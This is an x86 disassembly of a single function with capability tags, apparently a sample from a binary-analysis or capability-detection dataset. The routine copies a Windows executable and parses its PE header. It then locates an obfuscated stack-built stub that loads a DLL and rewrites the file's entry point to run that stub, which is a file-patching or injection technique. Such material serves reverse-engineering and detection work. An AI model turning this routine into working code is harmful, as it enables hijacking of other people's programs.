Function at 0x47d7b3
Capabilities:
Contain obfuscated stackstrings
Copy file
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a7478
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x17c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x154], 0xffffffff
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x34], 0xb8
mov byte [ebp - 0x33], 0x77
mov byte [ebp - 0x32], 0x1d
mov byte [ebp - 0x31], 0x80
mov byte [ebp - 0x30], 0x7c
mov byte [ebp - 0x2f], 0x68
mov byte [ebp - 0x2e], 0x64
mov byte [ebp - 0x2d], 0x6c
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2b], 0
mov byte [ebp - 0x2a], 0x68
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x28], 0x70
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x2e
mov byte [ebp - 0x25], 0x68
mov byte [ebp - 0x24], 0x77
mov byte [ebp - 0x23], 0x7a
mov byte [ebp - 0x22], 0x73
mov byte [ebp - 0x21], 0x63
mov byte [ebp - 0x20], 0x54
mov byte [ebp - 0x1f], 0xff
mov byte [ebp - 0x1e], 0xd0
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x47d8af
call dword [sym.imp.MSVCRT.dll_rand]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x537844
push 0x104
lea eax, [ebp - 0x14c]
push eax
call fcn.0040a2c0
add esp, 0x14
lea ecx, [ebp - 0x14c]
push ecx
call fcn.0042ae0a
add esp, 4
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0
je 0x47d8af
jmp 0x47d85c
push 0
lea edx, [ebp - 0x14c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x47d8d2
xor eax, eax
jmp 0x47dbd8
lea ecx, [ebp - 0x14c]
push ecx
call fcn.0042956f
add esp, 4
mov dword [ebp - 0x174], eax
mov edx, dword [ebp - 0x174]
mov dword [ebp - 0x160], edx
push 0
push 0
push 3
push 0
push 1
push 0xc0000000
lea eax, [ebp - 0x14c]
push eax
call dword [0x54299c]
mov dword [ebp - 0x178], eax
mov ecx, dword [ebp - 0x178]
mov dword [ebp - 0x154], ecx
cmp dword [ebp - 0x154], 0xffffffff
jne 0x47d931
xor eax, eax
jmp 0x47dbd8
mov edx, dword [ebp - 0x160]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x38], 0
jne 0x47d96a
mov byte [ebp - 4], 1
jmp 0x47db8d
push 0
lea edx, [ebp - 0x15c]
push edx
mov eax, dword [ebp - 0x160]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x154]
push edx
call dword [0x542984]
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 1
je 0x47d9a3
mov byte [ebp - 4], 1
jmp 0x47db8d
mov eax, dword [ebp - 0x15c]
cmp eax, dword [ebp - 0x160]
je 0x47d9ba
mov byte [ebp - 4], 1
jmp 0x47db8d
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x158], ecx
cmp dword [ebp - 0x158], 0
jne 0x47d9d5
mov byte [ebp - 4], 1
jmp 0x47db8d
mov edx, dword [ebp - 0x158]
xor eax, eax
mov ax, word [edx]
cmp eax, 0x5a4d
je 0x47d9f0
mov byte [ebp - 4], 1
jmp 0x47db8d
mov ecx, dword [ebp - 0x158]
mov edx, dword [ebp - 0x38]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], 0
jne 0x47da0e
mov byte [ebp - 4], 1
jmp 0x47db8d
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x160]
cmp dword [ebp - 0x44], eax
jbe 0x47da25
mov byte [ebp - 4], 1
jmp 0x47db8d
mov ecx, dword [ebp - 0x44]
cmp dword [ecx], 0x4550
jne 0x47da3d
mov edx, dword [ebp - 0x44]
xor eax, eax
mov ax, word [edx + 6]
test eax, eax
jne 0x47da46
mov byte [ebp - 4], 1
jmp 0x47db8d
mov ecx, dword [ebp - 0x44]
mov edx, dword [ecx + 0x28]
push edx
mov eax, dword [ebp - 0x38]
push eax
call fcn.0042b565
add esp, 8
mov dword [ebp - 0x184], eax
mov ecx, dword [ebp - 0x184]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x38]
add edx, dword [ebp - 0x3c]
mov dword [ebp - 0x18], edx
push 0x17
lea eax, [ebp - 0x34]
push eax
push 0x400
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0042c6bf
add esp, 0x10
mov dword [ebp - 0x188], eax
mov edx, dword [ebp - 0x188]
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 0
jne 0x47daa6
mov byte [ebp - 4], 1
jmp 0x47db8d
mov eax, dword [ebp - 0x14]
add eax, 0x1f
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx]
mov dword [ebp - 0x48], edx
cmp dword [ebp - 0x48], 0x500000
ja 0x47dac9
cmp dword [ebp - 0x48], 0x400000
jae 0x47dad2
mov byte [ebp - 4], 1
jmp 0x47db8d
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x48]
sub ecx, dword [eax + 0x34]
mov edx, dword [ebp - 0x44]
mov dword [edx + 0x28], ecx
push 0
push 0
push 0
mov eax, dword [ebp - 0x154]
push eax
call dword [0x5429a4]
push 0
lea ecx, [ebp - 0x15c]
push ecx
mov edx, dword [ebp - 0x160]
push edx
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x154]
push ecx
call dword [0x542994]
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
jne 0x47db2a
mov byte [ebp - 4], 1
jmp 0x47db8d
mov edx, dword [ebp - 0x160]
cmp edx, dword [ebp - 0x15c]
je 0x47db3e
mov byte [ebp - 4], 1
jmp 0x47db8d
cmp dword [ebp - 0x154], 0xffffffff
je 0x47db5e
mov eax, dword [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0xffffffff
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x14c]
push edx
call fcn.00488f6f
add esp, 8
mov dword [ebp - 0x150], 1
jmp 0x47db8d
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x154], 0xffffffff
je 0x47dbb4
mov eax, dword [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0xffffffff
cmp dword [ebp - 0x38], 0
je 0x47dbd2
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x168], ecx
mov edx, dword [ebp - 0x168]
push edx
call fcn.004a4518
add esp, 4
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4